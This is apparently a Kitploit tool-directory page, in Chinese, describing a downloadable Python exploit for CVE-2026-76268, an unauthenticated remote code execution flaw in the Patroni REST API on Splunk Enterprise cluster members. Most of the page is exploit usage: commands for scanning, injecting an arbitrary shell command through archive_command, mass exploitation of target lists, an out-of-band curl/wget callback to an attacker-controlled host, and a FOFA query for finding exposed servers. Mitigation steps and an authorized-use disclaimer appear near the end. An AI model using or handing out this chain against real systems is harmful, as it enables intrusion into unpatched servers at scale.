Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-76268 — 针对 CVE-2026-76268 的 Python PoC:检测 Splunk SHC 成员上未认证的 Patroni REST API,并通过 archive_command 注入利用该漏洞实现 RCE。 | Kitploit
工具/GitHubGitHub/murrez/cve-2026-76268
侦察漏洞扫描器网络映射漏洞利用Web应用程序漏洞利用后渗透利用渗透测试远程访问工具
GitHubmurrez/cve-2026-76268

CVE-2026-76268

针对 CVE-2026-76268 的 Python PoC:检测 Splunk SHC 成员上未认证的 Patroni REST API,并通过 archive_command 注入利用该漏洞实现 RCE。

查看仓库
83222天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-76268 — Splunk Enterprise Patroni REST API 未认证 RCE

针对 CVE-2026-76268 的 Python 3 PoC —— 影响 搜索头集群(SHC)成员 上的 Splunk Enterprise。公告 SVD-2026-1001。

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
公告https://advisory.splunk.com/advisories/SVD-2026-1001
组件PostgreSQL sidecar(Storage)→ Patroni REST API
受影响版本10.2.0 – 10.2.6、10.4.0 – 10.4.2
修复版本10.2.7、10.4.3(及更高版本)
不受影响(本 CVE)10.0.x、9.4.x
CWECWE-306 — 关键功能缺少身份认证
CVSS 3.19.8 严重
验证标记POCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

描述

在存在漏洞的 Splunk Enterprise SHC 成员 上,Patroni REST API(Splunk 10.x 引入的 PostgreSQL sidecar 的一部分)接受未经身份认证的状态变更请求。能够通过网络访问 Patroni 监听端口的攻击者可以更改动态集群配置,并通过 archive_command 等 PostgreSQL 参数触发操作系统命令执行(Patroni PATCH /config + POST /restart 链)。

本 PoC 直接与 Patroni 通信(通常为 TCP 8008,或由 Splunk 的 IPC Broker 分配的端口)。它不使用 Splunk Web(8000)或 Splunk 管理端口(8089)。那是另一个攻击面(例如历史上通过 splunkd 代理触发的 sidecar 问题)。

实际影响的前提条件:

  • 主机是 SHC 成员(而非未部署 sidecar 组件的独立仅索引节点)。
  • [postgres] sidecar 已启用(disabled = true 会移除 Patroni)。
  • Patroni 端口可从攻击者处访问(常见于防火墙配置错误,暴露了集群内部端口)。

要求

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • 依赖项:requests、urllib3

用法概览

模式用途
check(默认)在常见端口上发现 Patroni;测试未认证的 PATCH /config
exploit运行 Patroni RCE 链(archive_command + 重启)
Mass使用 --list FILE 配合 -j 线程;写入 JSONL 以及可选的命中/利用列表

你必须传入 -t TARGET 或 --list FILE。

目标格式(-t / --list 中的行)

格式示例
仅主机(默认端口扫描)192.168.1.50
主机 + 端口192.168.1.50:8008
完整 URLhttp://10.0.0.5:8008

列表文件中的注释:以 # 开头的行会被忽略。


Check 模式

发现 Patroni 并评估未认证的配置更改是否似乎被允许。

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

PoC 的功能:

  1. 在 --ports 中的每个端口(默认 8008,8009,8010,18008)上尝试 GET /patroni(或 /)。
  2. 发送 PATCH /config,请求体为空 JSON,且不带任何凭据。
  3. 当 Patroni 有响应且 PATCH 未被 401/403 拒绝时,标记 exploitable_candidate: true。

常用参数:

参数含义
--ports要扫描的 Patroni 端口,逗号分隔
--port跳过扫描;仅使用一个端口
--timeoutHTTP 超时(秒,默认 20)
--proxy请求使用的 HTTP(S) 代理
--outputJSONL 日志(默认 cve_2026_76268_results.jsonl)
--vuln-list制表符分隔的候选列表(默认 hits.txt)
--quiet减少控制台输出
--no-color纯文本终端

退出码: 若 exploitable_candidate 为 true 则返回 0;否则返回 1。

推荐工作流: 批量检查 → 审阅 hits.txt → 仅对已授权主机批量利用。


利用模式(--mode exploit)

执行 Patroni 配置注入链。这会更改目标上正在运行的 sidecar/PostgreSQL 动态配置。

利用链

  1. 发现 — 与检查模式相同(除非设置了 --port)。
  2. 认证门禁 — 若 PATCH /config 返回 401/403 则中止。
  3. PATCH /config — 设置 wal_level=replica、archive_mode=always、archive_timeout=1 以及你的 archive_command。
  4. POST /restart — 应用待处理的 PostgreSQL 配置。
  5. 等待 — --wait-archive 秒(默认 3);archive_command 在 WAL 归档周期运行时执行(并非立即执行)。

单目标示例

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

批量利用

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

输出:

  • --output — 完整 JSONL(若保留默认名称,批量利用默认写入 cve_2026_76268_exploit.jsonl)。
  • --exploited-list — 包含 exploited: true 的行(默认 exploited.txt)。

利用标志

标志含义
--oob URL基础 URL;命令会执行 curl/wget 访问 URL/POCBIT-76268-OK
--command完整的 PostgreSQL archive_command 字符串(覆盖 OOB 默认值)
--wait-archive重启后等待的秒数,之后 PoC 退出
--ports / --port端口发现或固定 Patroni 端口
--tls对 Patroni 使用 https://(默认 Splunk sidecar 文档中不常见)

当 --oob 和 --command 均未设置时的默认命令:
touch /tmp/POCBIT-76268-OK

退出码: 当 PATCH 和重启被接受(exploited: true)时为 0。这表示利用链已投递,而非你的回调或文件证明已经触发。请通过 OOB 或主机上的文件系统检查进行确认。

重要: 如果相同参数被锁定在本地配置中(厂商加固),Patroni 可能会忽略动态更改。在这种情况下,即使在旧版 Splunk 构建上利用也可能失败。


JSON 输出(单次 -t 运行)

打印到 stdout(格式化 JSON)。批量模式每行写入一个 JSON 对象。

字段含义
modecheck 或 exploit
host / target规范化后的输入
patroni_base例如 http://192.168.1.50:8008
patroni_portPatroni 响应的端口
patroni_role来自 GET /patroni(例如 primary)
unauth_patch检查:PATCH 无需认证即可执行
exploitable_candidate检查:可能存在漏洞的攻击面
exploited利用:PATCH + 重启成功
patch / restartHTTP 状态码和响应体预览
verify提示:OOB 路径或 /tmp/POCBIT-76268-OK
error失败原因(auth_required_patched_or_hardened、no_patroni_on_ports 等)
pocbit、pocbit_page、verify_markerPoCbit 元数据

结果解读

结果含义
patroni_unauth_patch_confirmed强检查命中 — 未认证 PATCH 被接受
patroni_auth_requiredPatroni 要求认证(可能已修补或已加固)
no_patroni_on_ports扫描端口上无 Patroni JSON(主机错误、被防火墙拦截,或非 SHC sidecar)
exploit_chain_ok利用 HTTP 链已完成
auth_required_patched_or_hardened利用在注入前中止

非 Splunk 主机也可能在 8008 端口运行 Patroni — 报告前请务必结合 Splunk 版本和部署角色进行关联分析。


在 Splunk 上查找 Patroni 端口

Splunk 文档示例(server.conf):

[ipc_broker]
postgres:patroni:address = 8008

如果未设置,IPC Broker 可能会选择一个随机端口。在服务器上(管理员访问权限):

$SPLUNK_HOME/bin/splunk btool server list ipc_broker --debug

SHC 防火墙文档将 8008 列为存储 sidecar 端口之一,这些端口必须在成员之间开放。


缓解措施

  1. 升级至 10.4.3+ 或 10.2.7+。

  2. 如果你不使用 Edge Processor、OpAmp 或 SPL2 管道:

    # $SPLUNK_HOME/etc/system/local/server.conf
    [postgres]
    disabled = true
    

    重启 Splunk。

  3. 将 Patroni(以及 etcd 2379/2380)限制为仅允许 SHC 对等 IP 访问。


发现(FOFA / 扫描)

port="8008"

使用 GET /patroni 返回 Patroni JSON(role、state、patroni.version)进行验证。仅凭 Splunk UI 版本并不足够。


法律声明

仅限授权的安全测试和补丁验证。利用模式会修改数据库 sidecar 配置;仅可在你拥有或获得明确测试许可的系统上使用。


GitHub 仓库描述

CVE-2026-76268 PoC: Splunk Enterprise SHC Patroni REST unauth RCE — PATCH /config archive_command + POST /restart. Check + mass exploit, OOB POCBIT-76268-OK, CVSS 9.8. https://pocbit.org/pocs/cve-2026-76268
下载工具